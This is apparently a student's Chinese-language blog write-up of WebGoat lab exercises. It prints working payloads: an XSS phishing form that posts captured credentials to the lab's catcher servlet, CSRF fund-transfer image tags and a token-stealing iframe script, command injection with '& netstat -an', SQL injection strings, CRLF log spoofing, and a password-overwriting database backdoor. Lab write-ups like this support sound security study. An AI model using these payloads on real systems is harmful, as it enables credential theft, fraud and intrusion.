标签:width bubuko star click 输入框 伪造 spec 子邮件 使用
webgoat准备
java -jar webgoat-container-7.0.1-war-exec.jar
运行Webgoat,出现INFO: Starting ProtocolHandler ["http-bio-8080"]则开启成功,可以看到占用8080端口.127.0.0.1:8080/WebGoat
,使用默认名和密码登录在Webgoat中,solution是答案,hints是提示。
Phishing with XSS
使用XSS和HTML插入,您的目标是:
将html插入该请求凭据,添加javascript以实际收集凭据,将凭据发送到http://localhost:8080/WebGoat/catcher?PROPERTY=yes…,要通过本课程,凭证必须发布到捕获者servlet。
输入一段简单的代码来实现:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.form.user.value + "&password=" + document.form.pass.value + "";
alert(".....your information was stolen by rhl! User Name = " + document.form.user.value + " Password = " + document.form.pass.value);
}
</script>
<form name="form">
<br>
<br>
<HR>
<H2>Welcome</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你:
Stored XSS Attacks
储存型XSS攻击:XSS攻击代码存储于数据库中,每次当用户打开此网页时便会执行,危害大,常用语留言板,每次当用户查看留言信息时即触发。导致用户访问时载入非预期的页面或内容
然后在message中输入一串代码<script>alert(" you have been attacked by rhl !");</script>
Reflected XSS Attacks
反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
*******
在服务器端验证所有输入始终是一个很好的做法。当在HTTP响应中使用未经验证的用户输入时,可能发生XSS。在一个反射的XSS攻击中,攻击者可以用攻击脚本制作URL并将其张贴到另一个网站上,发送电子邮件,或者以其他方式让受害者点击它。
<script>alert("This website is not safe");</script>
跨站脚本攻击:Cross Site Request Forgery
您的目标是向新闻组发送电子邮件。 该电子邮件包含一个图像,其URL指向恶意请求。 在本课中,URL应该指向“攻击”servlet,其中包含课程的“屏幕”和“菜单”参数,以及具有任意数值的额外参数“transferFunds”(如5000)。您可以通过查找“屏幕”来构建链接 “和”菜单“值在右侧的参数插入。 当时通过身份认证的CSRF电子邮件的接收者将转移资金。
<img src=‘attack?Screen=277&menu=900&transferFunds=5000‘ width=‘1‘ height=‘1‘>
XSS提升:CSRF Prompt By-Pass
目标是向包含多个恶意请求的新闻组发送电子邮件:第一个转移资金,第二个请求确认第一个请求被触发的提示。URL应该指向这个CSRF提示的攻击servlet,通过PASS课程的屏幕、菜单参数和一个额外的参数“TrimeBoover”,它具有一个数字值,比如“5000”来启动一个传输,一个字符串值“确认”完成它。您可以从右边的插图复制该课程的参数,创建“攻击”格式的URL。屏幕= xxx和菜单= yyy和转移资金= ZZZ”。无论谁收到这封电子邮件,恰巧在那时被认证,他的资金将被转移。当您认为攻击成功时,刷新页面,您将在左侧菜单中找到绿色检查
输入代码
<img src="attack?Screen=272&menu=900&transferFunds=10000">
<img src="attack?Screen=272&menu=900&transferFunds=confirm" >
攻击成功
CSRF令牌攻击:CSRF Token By-Pass
类似于CSRF课程,您的目标是向包含恶意请求转移资金的新闻组发送电子邮件。 要成功完成,您需要获取有效的请求令牌。提供转账资金表单的页面包含一个有效的请求令牌。转移资金页面的URL是本课程的“屏幕”和“菜单”查询参数以及额外的参数“transferFunds=main”的“攻击”servlet。加载此页面,读取令牌,并在伪造的请求中附加令牌以传输数据。当您认为攻击成功时,刷新页面,您将在左侧菜单中找到绿色检查。
输入代码
<script>
var readToken = function(){
var doc = document.getElementById("frame1").contentDocument
var token = doc.getElementsByName("CSRFToken")[0].getAttribute("value");
alert(token);
var frame2 = document.getElementById("frame2");
frame2.src = "attack?Screen=277&menu=900&transferFunds=4000&CSRFToken="+token;
}
</script>
<iframe id="frame2" ></iframe>
<iframe id="frame1" onload="readToken()" src="attack?Screen=277&menu=900&transferFunds=main" ></iframe>
SQL注入攻击对任何数据库驱动的站点都构成严重威胁。攻击背后的方法很容易学习,造成的损害可以从相当大到完全的系统妥协。尽管存在这些风险,但互联网上令人难以置信的系统数量易受这种攻击形式的影响。对所有输入数据进行清理,尤其是在OS命令、脚本和数据库查询中使用的数据,以某种其他方式阻止SQL注入的威胁,也是很好的做法。
Command Injection
在目标主机上执行系统命令,通过火狐浏览器下的Firebug对源代码进行修改,右键BackDoors.help,选inspect element
显示源代码& netstat -an & ipconfig
选中修改后的值再点view,可以看到命令被执行,出现系统网络连接情况
数字型注入:Numeric SQL Injection
题目要求:下面的表单允许用户查看天气数据。尝试注入导致所有天气数据显示的SQL字符串。现在,您已经成功执行SQL注入,尝试对参数化查询进行相同类型的攻击。
加上一个1=1这种永真式即可达到我们的目的,依旧利用firebug,在任意一个值比如101旁边加上or 1=1:
选中Columbia,点Go,出现所有城市的天气:
日志欺骗:Log Spoofing
rhl%0d%0aLogin Succeeded for username: admin
,%0d是空格,%0a是换行字符串注入:String SQL Injection
‘ or 1=1 --
LAB:SQL Injection(Stage 1:String SQL Injection)
‘ or 1=1 --
查看网页代码后发现这里设定的长度不够。然后进行修改:
成功~
SQL Injection(Stage 3:Numeric SQL Injection)
跟之前是一样的方法,然后点击ViewProfile可以浏览员工信息:
使用inspect分析一下这个按钮,发现这个地方是以员工ID作为索引传递参数的,我们要达到通过Larry来浏览老板账户信息的目的,一般来说老板的工资都应该是最高的,所以把其中的value值改为101 or 1=1 order by salary desc --
可以查看到老板的信息:
Database Backdoors
101; update employee set Password=000
q:
最后一次实验,做完特别有感觉。每个实验联系过程都很有趣,想要深入的研究一下,希望以后有时间可以把上面的题目都做一遍!也遇到了很多问题,这个软件都是英文版本,所以用起来很费劲,实在不行就只能百度翻译了...
# 2017-2018-2 20155319《网络对抗技术》Exp9 :Web安全基础
标签:width bubuko star click 输入框 伪造 spec 子邮件 使用
原文地址:https://www.cnblogs.com/rhl20155319/p/9095769.html